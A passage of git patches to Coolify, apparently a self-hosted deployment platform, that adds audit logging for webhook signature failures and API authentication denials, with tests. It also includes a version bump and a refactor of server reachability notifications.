=> 'github', + 'mode' => 'app', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $result['deployment_uuid'], + 'commit' => data_get($payload, 'after'), + 'github_app_id' => $github_app->id, + ]); + } $return_payloads->push([ 'status' => $result['status'], 'message' => $result['message'], diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 4453a0e7a..99ee4e477 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -32,6 +32,9 @@ public function manual(Request $request) } if (empty($x_gitlab_token)) { + auditLogWebhookFailure('gitlab', 'webhook_token_missing', [ + 'event' => $x_gitlab_event, + ]); $return_payloads->push([ 'status' => 'failed', 'message' => 'Invalid signature.', @@ -101,6 +104,12 @@ public function manual(Request $request) foreach ($applications as $application) { $webhook_secret = data_get($application, 'manual_webhook_secret_gitlab'); if (empty($webhook_secret)) { + auditLogWebhookFailure('gitlab', 'webhook_secret_missing', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_gitlab_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -110,6 +119,12 @@ public function manual(Request $request) continue; } if (! hash_equals($webhook_secret, $x_gitlab_token ?? '')) { + auditLogWebhookFailure('gitlab', 'invalid_signature', [ + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'repository' => $full_name ?? null, + 'event' => $x_gitlab_event, + ]); $return_payloads->push([ 'application' => $application->name, 'status' => 'failed', @@ -150,6 +165,15 @@ public function manual(Request $request) 'application_name' => $application->name, ]); } else { + auditLog('webhook.deployment.queued', [ + 'provider' => 'gitlab', + 'mode' => 'manual', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + 'deployment_uuid' => $deployment_uuid->toString(), + 'commit' => data_get($payload, 'after'), + 'repository' => $full_name ?? null, + ]); $return_payloads->push([ 'status' => 'success', 'message' => 'Deployment queued.', diff --git a/app/Http/Controllers/Webhook/Stripe.php b/app/Http/Controllers/Webhook/Stripe.php index d59adf0ca..41e70b2ce 100644 --- a/app/Http/Controllers/Webhook/Stripe.php +++ b/app/Http/Controllers/Webhook/Stripe.php @@ -6,6 +6,8 @@ use App\Jobs\StripeProcessJob; use Exception; use Illuminate\Http\Request; +use Stripe\Exception\SignatureVerificationException; +use Stripe\Webhook; class Stripe extends Controller { @@ -14,7 +16,7 @@ public function events(Request $request) try { $webhookSecret = config('subscription.stripe_webhook_secret'); $signature = $request->header('Stripe-Signature'); - $event = \Stripe\Webhook::constructEvent( + $event = Webhook::constructEvent( $request->getContent(), $signature, $webhookSecret @@ -22,6 +24,12 @@ public function events(Request $request) StripeProcessJob::dispatch($event); return response('Webhook received. Cool cool cool cool cool.', 200); + } catch (SignatureVerificationException $e) { + auditLogWebhookFailure('stripe', 'invalid_signature', [ + 'error' => $e->getMessage(), + ]); + + return response($e->getMessage(), 400); } catch (Exception $e) { return response($e->getMessage(), 400); } diff --git a/app/Http/Middleware/ApiAbility.php b/app/Http/Middleware/ApiAbility.php index 324eeebaa..f81c7d184 100644 --- a/app/Http/Middleware/ApiAbility.php +++ b/app/Http/Middleware/ApiAbility.php @@ -2,6 +2,7 @@ namespace App\Http\Middleware; +use Illuminate\Auth\AuthenticationException; use Laravel\Sanctum\Http\Middleware\CheckForAnyAbility; class ApiAbility extends CheckForAnyAbility @@ -14,11 +15,22 @@ public function handle($request, $next, ...$abilities) } return parent::handle($request, $next, ...$abilities); - } catch (\Illuminate\Auth\AuthenticationException $e) { + } catch (AuthenticationException $e) { + auditLog('api.auth.unauthenticated', [ + 'reason' => $e->getMessage(), + 'required_abilities' => $abilities, + ], 'warning'); + return response()->json([ 'message' => 'Unauthenticated.', ], 401); } catch (\Exception $e) { + auditLog('api.auth.ability_denied', [ + 'required_abilities' => $abilities, + 'token_id' => $request->user()?->currentAccessToken()?->id, + 'reason' => $e->getMessage(), + ], 'warning'); + return response()->json([ 'message' => 'Missing required permissions: '.implode(', ', $abilities), ], 403); diff --git a/bootstrap/helpers/audit.php b/bootstrap/helpers/audit.php new file mode 100644 index 000000000..8477450c4 --- /dev/null +++ b/bootstrap/helpers/audit.php @@ -0,0 +1,81 @@ + $context Identifiers + outcome details. + * @param string $level Log level: info | warning | error. + */ + function auditLog(string $event, array $context = [], string $level = 'info'): void + { + try { + $request = app()->bound('request') ? request() : null; + $user = auth()->check() ? auth()->user() : null; + $token = $user?->currentAccessToken(); + + $base = [ + 'event' => $event, + 'ip' => $request?->ip(), + 'ua' => substr((string) $request?->userAgent(), 0, 200), + 'user_id' => $user?->id, + 'user_email' => $user?->email, + 'team_id' => $token ? data_get($token, 'team_id') : null, + 'token_id' => $token?->id ?? null, + 'token_name' => $token?->name ?? null, + 'method' => $request?->method(), + 'path' => $request?->path(), + ]; + + $payload = array_merge($base, $context); + + Log::channel('audit')->{$level}($event, $payload); + } catch (Throwable $e) { + // Audit logging must never break the request path. + try { + Log::warning('auditLog failed: '.$e->getMessage(), ['event' => $event]); + } catch (Throwable) { + } + } + } +} + +if (! function_exists('auditLogWebhookFailure')) { + /** + * Record a webhook signature/auth verification failure to the `audit` channel. + */ + function auditLogWebhookFailure(string $provider, string $reason, array $context = []): void + { + try { + $request = app()->bound('request') ? request() : null; + + $event = "webhook.{$provider}.signature_failed"; + + $base = [ + 'event' => $event, + 'reason' => $reason, + 'ip' => $request?->ip(), + 'ua' => substr((string) $request?->userAgent(), 0, 200), + 'method' => $request?->method(), + 'path' => $request?->path(), + 'event_header' => $request?->header('X-GitHub-Event') + ?? $request?->header('X-Gitlab-Event') + ?? $request?->header('X-Gitea-Event') + ?? $request?->header('X-Event-Key'), + ]; + + Log::channel('audit')->warning($event, array_merge($base, $context)); + } catch (Throwable $e) { + try { + Log::warning('auditLogWebhookFailure failed: '.$e->getMessage(), ['provider' => $provider]); + } catch (Throwable) { + } + } + } +} diff --git a/config/logging.php b/config/logging.php index 1dbb1135f..05cf8e13d 100644 --- a/config/logging.php +++ b/config/logging.php @@ -132,6 +132,14 @@ 'level' => 'warning', 'days' => 14, ], + + 'audit' => [ + 'driver' => 'daily', + 'path' => storage_path('logs/audit.log'), + 'level' => env('LOG_AUDIT_LEVEL', 'info'), + 'days' => env('LOG_AUDIT_DAYS', 90), + 'replace_placeholders' => true, + ], ], ]; diff --git a/openapi.json b/openapi.json index d83b30d80..09232be2f 100644 --- a/openapi.json +++ b/openapi.json @@ -4381,8 +4381,8 @@ "description": "Number of days to retain backups locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", - "description": "Max storage (MB) for local backups" + "type": "number", + "description": "Max storage (GB) for local backups" }, "database_backup_retention_amount_s3": { "type": "integer", @@ -4393,8 +4393,8 @@ "description": "Number of days to retain backups in S3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", - "description": "Max storage (MB) for S3 backups" + "type": "number", + "description": "Max storage (GB) for S3 backups" }, "timeout": { "type": "integer", @@ -4951,7 +4951,7 @@ "description": "Retention days of the backup locally" }, "database_backup_retention_max_storage_locally": { - "type": "integer", + "type": "number", "description": "Max storage of the backup locally" }, "database_backup_retention_amount_s3": { @@ -4963,7 +4963,7 @@ "description": "Retention days of the backup in s3" }, "database_backup_retention_max_storage_s3": { - "type": "integer", + "type": "number", "description": "Max storage of the backup in S3" }, "timeout": { diff --git a/openapi.yaml b/openapi.yaml index aab408098..d6a8d7635 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2765,8 +2765,8 @@ paths: type: integer description: 'Number of days to retain backups locally' database_backup_retention_max_storage_locally: - type: integer - description: 'Max storage (MB) for local backups' + type: number + description: 'Max storage (GB) for local backups' database_backup_retention_amount_s3: type: integer description: 'Number of backups to retain in S3' @@ -2774,8 +2774,8 @@ paths: type: integer description: 'Number of days to retain backups in S3' database_backup_retention_max_storage_s3: - type: integer - description: 'Max storage (MB) for S3 backups' + type: number + description: 'Max storage (GB) for S3 backups' timeout: type: integer description: 'Backup job timeout in seconds (min: 60, max: 36000)' @@ -3160,7 +3160,7 @@ paths: type: integer description: 'Retention days of the backup locally' database_backup_retention_max_storage_locally: - type: integer + type: number description: 'Max storage of the backup locally' database_backup_retention_amount_s3: type: integer @@ -3169,7 +3169,7 @@ paths: type: integer description: 'Retention days of the backup in s3' database_backup_retention_max_storage_s3: - type: integer + type: number description: 'Max storage of the backup in S3' timeout: type: integer diff --git a/routes/api.php b/routes/api.php index 7394d4e16..c944a6ebc 100644 --- a/routes/api.php +++ b/routes/api.php @@ -215,6 +215,8 @@ Route::post('/sentinel/push', function () { $token = request()->header('Authorization'); if (! $token) { + auditLogWebhookFailure('sentinel', 'token_missing'); + return response()->json(['message' => 'Unauthorized'], 401); } $naked_token = str_replace('Bearer ', '', $token); @@ -222,26 +224,49 @@ $decrypted = decrypt($naked_token); $decrypted_token = json_decode($decrypted, true); } catch (Exception $e) { + auditLogWebhookFailure('sentinel', 'decrypt_failed'); + return response()->json(['message' => 'Invalid token'], 401); } $server_uuid = data_get($decrypted_token, 'server_uuid'); if (! $server_uuid) { + auditLogWebhookFailure('sentinel', 'invalid_token_payload'); + return response()->json(['message' => 'Invalid token'], 401); } $server = Server::where('uuid', $server_uuid)->first(); if (! $server) { + auditLogWebhookFailure('sentinel', 'server_not_found', [ + 'server_uuid' => $server_uuid, + ]); + return response()->json(['message' => 'Server not found'], 404); } if (isCloud() && data_get($server->team->subscription, 'stripe_invoice_paid', false) === false && $server->team->id !== 0) { + auditLogWebhookFailure('sentinel', 'subscription_unpaid', [ + 'server_uuid' => $server->uuid, + 'team_id' => $server->team_id, + ]); + return response()->json(['message' => 'Unauthorized'], 401); } if ($server->isFunctional() === false) { + auditLogWebhookFailure('sentinel', 'server_not_functional', [ + 'server_uuid' => $server->uuid, + 'team_id' => $server->team_id, + ]); + return response()->json(['message' => 'Server is not functional'], 401); } if ($server->settings->sentinel_token !== $naked_token) { + auditLogWebhookFailure('sentinel', 'token_mismatch', [ + 'server_uuid' => $server->uuid, + 'team_id' => $server->team_id, + ]); + return response()->json(['message' => 'Unauthorized'], 401); } $data = request()->all(); @@ -249,6 +274,11 @@ // \App\Jobs\ServerCheckNewJob::dispatch($server, $data); PushServerUpdateJob::dispatch($server, $data); + auditLog('sentinel.metrics_pushed', [ + 'server_uuid' => $server->uuid, + 'team_id' => $server->team_id, + ]); + return response()->json(['message' => 'ok'], 200); }); }); diff --git a/tests/Feature/Security/AuditLogTest.php b/tests/Feature/Security/AuditLogTest.php new file mode 100644 index 000000000..34e9168ec --- /dev/null +++ b/tests/Feature/Security/AuditLogTest.php @@ -0,0 +1,445 @@ +create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'owner']); + session(['currentTeam' => $team]); + test()->actingAs($user); + + return [$team, $user]; +} + +function makeAuditApiToken(User $user, Team $team, array $abilities = ['root']): string +{ + $token = $user->createToken('audit-test', $abilities); + DB::table('personal_access_tokens')->where('id', $token->accessToken->id)->update([ + 'team_id' => $team->id, + ]); + + return $token->plainTextToken; +} + +function makeAuditApplication(string $repo = 'test-org/test-repo'): Application +{ + $team = Team::factory()->create(); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = $server->standaloneDockers()->firstOrFail(); + + return Application::create([ + 'name' => 'audit-test-app', + 'git_repository' => "https://github.com/{$repo}", + 'git_branch' => 'main', + 'build_pack' => 'nixpacks', + 'ports_exposes' => '3000', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); +} + +describe('audit channel helper', function () { + test('auditLog writes structured payload to audit channel', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('info') + ->once() + ->with('test.event', Mockery::on(function ($context) { + return $context['event'] === 'test.event' + && $context['custom_field'] === 'value' + && array_key_exists('ip', $context) + && array_key_exists('user_id', $context); + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + + auditLog('test.event', ['custom_field' => 'value']); + }); + + test('auditLog warning level routes correctly', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning')->once()->with('test.failed', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + + auditLog('test.failed', [], 'warning'); + }); + + test('auditLogWebhookFailure logs warning with provider tag', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->once() + ->with('webhook.github.signature_failed', Mockery::on(function ($context) { + return $context['reason'] === 'invalid_signature' + && $context['event'] === 'webhook.github.signature_failed' + && array_key_exists('ip', $context); + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + + auditLogWebhookFailure('github', 'invalid_signature', ['extra' => 'context']); + }); + + test('auditLog never includes raw secret keys in context', function () { + $captured = null; + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('info') + ->once() + ->with(Mockery::any(), Mockery::on(function ($context) use (&$captured) { + $captured = $context; + + return true; + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + + auditLog('test.private_key.created', [ + 'team_id' => '1', + 'private_key_uuid' => 'abc', + 'fingerprint' => 'SHA256:xyz', + ]); + + expect($captured)->toBeArray(); + // Helper itself never injects secret-bearing keys. + $disallowed = ['private_key', 'password', 'token', 'webhook_secret', 'signature', 'client_secret']; + foreach (array_keys($captured) as $key) { + expect(in_array(strtolower($key), $disallowed, true))->toBeFalse(); + } + }); +}); + +describe('webhook signature failure logging', function () { + test('GitHub manual webhook with bad signature logs to audit channel', function () { + $app = makeAuditApplication(); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.github.signature_failed', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/github/events/manual', [], [], [], [ + 'HTTP_X-GitHub-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('GitLab manual webhook with bad token logs to audit channel', function () { + $app = makeAuditApplication(); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.gitlab.signature_failed', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->postJson('/webhooks/source/gitlab/events/manual', [ + 'object_kind' => 'push', + 'ref' => 'refs/heads/main', + 'project' => ['path_with_namespace' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ], [ + 'X-Gitlab-Token' => 'wrong-token', + ]); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('Bitbucket manual webhook with malformed signature logs to audit channel', function () { + $app = makeAuditApplication(); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.bitbucket.signature_failed', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $payload = json_encode([ + 'push' => ['changes' => [['new' => ['name' => 'main', 'target' => ['hash' => 'abc123']]]]], + 'repository' => ['full_name' => 'test-org/test-repo'], + ]); + + $response = $this->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], [ + 'HTTP_X-Event-Key' => 'repo:push', + 'HTTP_X-Hub-Signature' => 'sha1=anyvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); + + test('Gitea manual webhook with bad signature logs to audit channel', function () { + $app = makeAuditApplication(); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.gitea.signature_failed', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $payload = json_encode([ + 'ref' => 'refs/heads/main', + 'repository' => ['full_name' => 'test-org/test-repo'], + 'after' => 'abc123', + 'commits' => [], + ]); + + $response = $this->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], [ + 'HTTP_X-Gitea-Event' => 'push', + 'HTTP_X-Hub-Signature-256' => 'sha256=forgedhashvalue', + 'CONTENT_TYPE' => 'application/json', + ], $payload); + + $response->assertOk(); + expect($response->getContent())->toContain('Invalid signature'); + }); +}); + +describe('API mutation audit logging', function () { + test('private key creation emits api.private_key.created audit event', function () { + [$team, $user] = makeAuditTeamUser(); + $token = makeAuditApiToken($user, $team); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('info') + ->atLeast() + ->once() + ->with('api.private_key.created', Mockery::on(function ($context) { + return $context['event'] === 'api.private_key.created' + && ! array_key_exists('private_key', $context); + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + // Generate a valid OpenSSH-format private key for the test. + $opensshKey = "-----BEGIN OPENSSH PRIVATE KEY-----\n". + base64_encode(str_repeat('a', 256)). + "\n-----END OPENSSH PRIVATE KEY-----"; + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/security/keys', [ + 'name' => 'test-key', + 'description' => 'audit test', + 'private_key' => $opensshKey, + ]); + + // Either 201 or 422 acceptable depending on validation; the assertion above verifies log if 201. + expect($response->status())->toBeIn([201, 422]); + }); + + test('enable_api denial for non-root team emits warning audit event', function () { + [$team, $user] = makeAuditTeamUser(); + $token = makeAuditApiToken($user, $team); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('api.instance.enable_denied', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token, + ])->getJson('/api/v1/enable'); + + $response->assertStatus(403); + }); + + test('project creation emits api.project.created audit event', function () { + [$team, $user] = makeAuditTeamUser(); + $token = makeAuditApiToken($user, $team); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('info') + ->atLeast() + ->once() + ->with('api.project.created', Mockery::on(function ($context) { + return $context['event'] === 'api.project.created' + && ! empty($context['project_uuid']) + && $context['project_name'] === 'audit-project'; + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'audit-project', + 'description' => 'audit', + ]); + + $response->assertStatus(201); + }); +}); + +describe('threat-detection audit logging (Phase 2)', function () { + test('missing bearer token logs api.auth.unauthenticated', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('api.auth.unauthenticated', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->getJson('/api/v1/projects'); + + $response->assertStatus(401); + }); + + test('expired bearer token logs api.auth.unauthenticated', function () { + [$team, $user] = makeAuditTeamUser(); + $token = $user->createToken('expired-audit', ['read'], now()->subDay()); + DB::table('personal_access_tokens')->where('id', $token->accessToken->id)->update([ + 'team_id' => $team->id, + ]); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('api.auth.unauthenticated', Mockery::any()); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$token->plainTextToken, + ])->getJson('/api/v1/projects'); + + $response->assertStatus(401); + }); + + test('read-only token hitting write endpoint logs api.auth.ability_denied', function () { + [$team, $user] = makeAuditTeamUser(); + $readToken = makeAuditApiToken($user, $team, ['read']); + + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('api.auth.ability_denied', Mockery::on(function ($ctx) { + return in_array('write', $ctx['required_abilities'] ?? [], true); + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$readToken, + 'Content-Type' => 'application/json', + ])->postJson('/api/v1/projects', [ + 'name' => 'should-fail', + ]); + + $response->assertStatus(403); + }); + + test('sentinel push without Authorization logs token_missing', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.sentinel.signature_failed', Mockery::on(function ($ctx) { + return $ctx['reason'] === 'token_missing'; + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->postJson('/api/v1/sentinel/push', []); + + $response->assertStatus(401); + }); + + test('sentinel push with un-decryptable bearer logs decrypt_failed', function () { + $auditChannel = Mockery::mock(); + $auditChannel->shouldReceive('warning') + ->atLeast() + ->once() + ->with('webhook.sentinel.signature_failed', Mockery::on(function ($ctx) { + return $ctx['reason'] === 'decrypt_failed'; + })); + + Log::shouldReceive('channel')->with('audit')->andReturn($auditChannel); + Log::shouldReceive('warning')->andReturnNull(); + Log::shouldReceive('info')->andReturnNull(); + Log::shouldReceive('error')->andReturnNull(); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer not-a-valid-encrypted-payload', + ])->postJson('/api/v1/sentinel/push', []); + + $response->assertStatus(401); + }); +}); From cf13d4017888099ae969f5ee64ec662633f6118f Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 15:27:50 +0200 Subject: [PATCH 101/329] version++ --- config/constants.php | 2 +- other/nightly/versions.json | 4 ++-- versions.json | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/config/constants.php b/config/constants.php index f2f6946fb..8ebf27eed 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.0', + 'version' => '4.0.1', 'helper_version' => '1.0.13', 'realtime_version' => '1.0.14', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index 3307b7f2e..fe7f6418d 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0" + "version": "4.0.1" }, "nightly": { "version": "4.0.0" @@ -10,7 +10,7 @@ "version": "1.0.13" }, "realtime": { - "version": "1.0.13" + "version": "1.0.14" }, "sentinel": { "version": "0.0.21" diff --git a/versions.json b/versions.json index ef92cfe9e..fe7f6418d 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.0" + "version": "4.0.1" }, "nightly": { "version": "4.0.0" From b8226be774eb2fc5cc735d11bd85e250347a7ac4 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 28 Apr 2026 15:28:22 +0200 Subject: [PATCH 102/329] refactor(server): dispatch event for reachability notifications, drop retry loop MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Move reachability notification triggering out of isReachableChanged into a dedicated ServerReachabilityChanged event dispatched by ServerConnectionCheckJob. Remove the blocking 3-attempt sleep loop from isReachableChanged — unreachable_count threshold alone now gates the Unreachable notification. Add feature and unit tests covering all notification dispatch paths. --- app/Jobs/ServerConnectionCheckJob.php | 34 ++++++ app/Models/Server.php | 26 +---- .../ServerReachabilityNotificationTest.php | 105 ++++++++++++++++++ tests/Unit/IsReachableChangedTest.php | 61 ++++++++++ tests/Unit/ServerBackoffTest.php | 51 +++++++++ 5 files changed, 253 insertions(+), 24 deletions(-) create mode 100644 tests/Feature/ServerReachabilityNotificationTest.php create mode 100644 tests/Unit/IsReachableChangedTest.php diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 7ce316dcd..98ad60fff 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -2,6 +2,7 @@ namespace App\Jobs; +use App\Events\ServerReachabilityChanged; use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use App\Services\ConfigurationRepository; @@ -43,6 +44,9 @@ private function disableSshMux(): void public function handle() { + $wasReachable = (bool) $this->server->settings->is_reachable; + $wasNotified = (bool) $this->server->unreachable_notification_sent; + try { // Check if server is disabled if ($this->server->settings->force_disabled) { @@ -84,6 +88,8 @@ public function handle() 'server_ip' => $this->server->ip, ]); + $this->dispatchReachabilityChangedIfNeeded($wasReachable, $wasNotified, false); + return; } @@ -99,6 +105,8 @@ public function handle() $this->server->update(['unreachable_count' => 0]); } + $this->dispatchReachabilityChangedIfNeeded($wasReachable, $wasNotified, true); + } catch (\Throwable $e) { Log::error('ServerConnectionCheckJob failed', [ @@ -111,6 +119,8 @@ public function handle() ]); $this->server->increment('unreachable_count'); + $this->dispatchReachabilityChangedIfNeeded($wasReachable, $wasNotified, false); + return; } } @@ -118,17 +128,41 @@ public function handle() public function failed(?\Throwable $exception): void { if ($exception instanceof TimeoutExceededException) { + $wasReachable = (bool) $this->server->settings->is_reachable; + $wasNotified = (bool) $this->server->unreachable_notification_sent; + $this->server->settings->update([ 'is_reachable' => false, 'is_usable' => false, ]); $this->server->increment('unreachable_count'); + $this->dispatchReachabilityChangedIfNeeded($wasReachable, $wasNotified, false); + // Delete the queue job so it doesn't appear in Horizon's failed list. $this->job?->delete(); } } + /** + * Fire ServerReachabilityChanged when state crosses the unreachable threshold (count >= 2) + * or when a previously-notified server recovers. Skips noise from single transient flaps. + */ + private function dispatchReachabilityChangedIfNeeded(bool $wasReachable, bool $wasNotified, bool $isReachable): void + { + if ($isReachable) { + if (! $wasReachable || $wasNotified) { + ServerReachabilityChanged::dispatch($this->server); + } + + return; + } + + if ($this->server->unreachable_count >= 2 && ! $wasNotified) { + ServerReachabilityChanged::dispatch($this->server); + } + } + private function checkHetznerStatus(): void { $status = null; diff --git a/app/Models/Server.php b/app/Models/Server.php index 06426f211..74e8ba5b0 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -1236,10 +1236,8 @@ public function isReachableChanged() $this->refresh(); $unreachableNotificationSent = (bool) $this->unreachable_notification_sent; $isReachable = (bool) $this->settings->is_reachable; - if ($isReachable === true) { - $this->unreachable_count = 0; - $this->save(); + if ($isReachable === true) { if ($unreachableNotificationSent === true) { $this->sendReachableNotification(); } @@ -1247,28 +1245,8 @@ public function isReachableChanged() return; } - $this->increment('unreachable_count'); - - if ($this->unreachable_count === 1) { - $this->settings->is_reachable = true; - $this->settings->save(); - - return; - } - if ($this->unreachable_count >= 2 && ! $unreachableNotificationSent) { - $failedChecks = 0; - for ($i = 0; $i < 3; $i++) { - $status = $this->serverStatus(); - sleep(5); - if (! $status) { - $failedChecks++; - } - } - - if ($failedChecks === 3 && ! $unreachableNotificationSent) { - $this->sendUnreachableNotification(); - } + $this->sendUnreachableNotification(); } } diff --git a/tests/Feature/ServerReachabilityNotificationTest.php b/tests/Feature/ServerReachabilityNotificationTest.php new file mode 100644 index 000000000..e996ba028 --- /dev/null +++ b/tests/Feature/ServerReachabilityNotificationTest.php @@ -0,0 +1,105 @@ +team = Team::factory()->create(); + $this->team->emailNotificationSettings()->update([ + 'use_instance_email_settings' => true, + 'server_unreachable_email_notifications' => true, + 'server_reachable_email_notifications' => true, + ]); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + Notification::fake(); +}); + +it('sends Unreachable notification when threshold reached and not yet notified', function () { + $this->server->settings()->update(['is_reachable' => false]); + $this->server->forceFill([ + 'unreachable_count' => 2, + 'unreachable_notification_sent' => false, + ])->save(); + + ServerReachabilityChanged::dispatch($this->server->fresh()); + + Notification::assertSentTo($this->team, Unreachable::class); + expect($this->server->fresh()->unreachable_notification_sent)->toBeTrue(); +}); + +it('does not send Unreachable on first transient failure (count=1)', function () { + $this->server->settings()->update(['is_reachable' => false]); + $this->server->forceFill([ + 'unreachable_count' => 1, + 'unreachable_notification_sent' => false, + ])->save(); + + ServerReachabilityChanged::dispatch($this->server->fresh()); + + 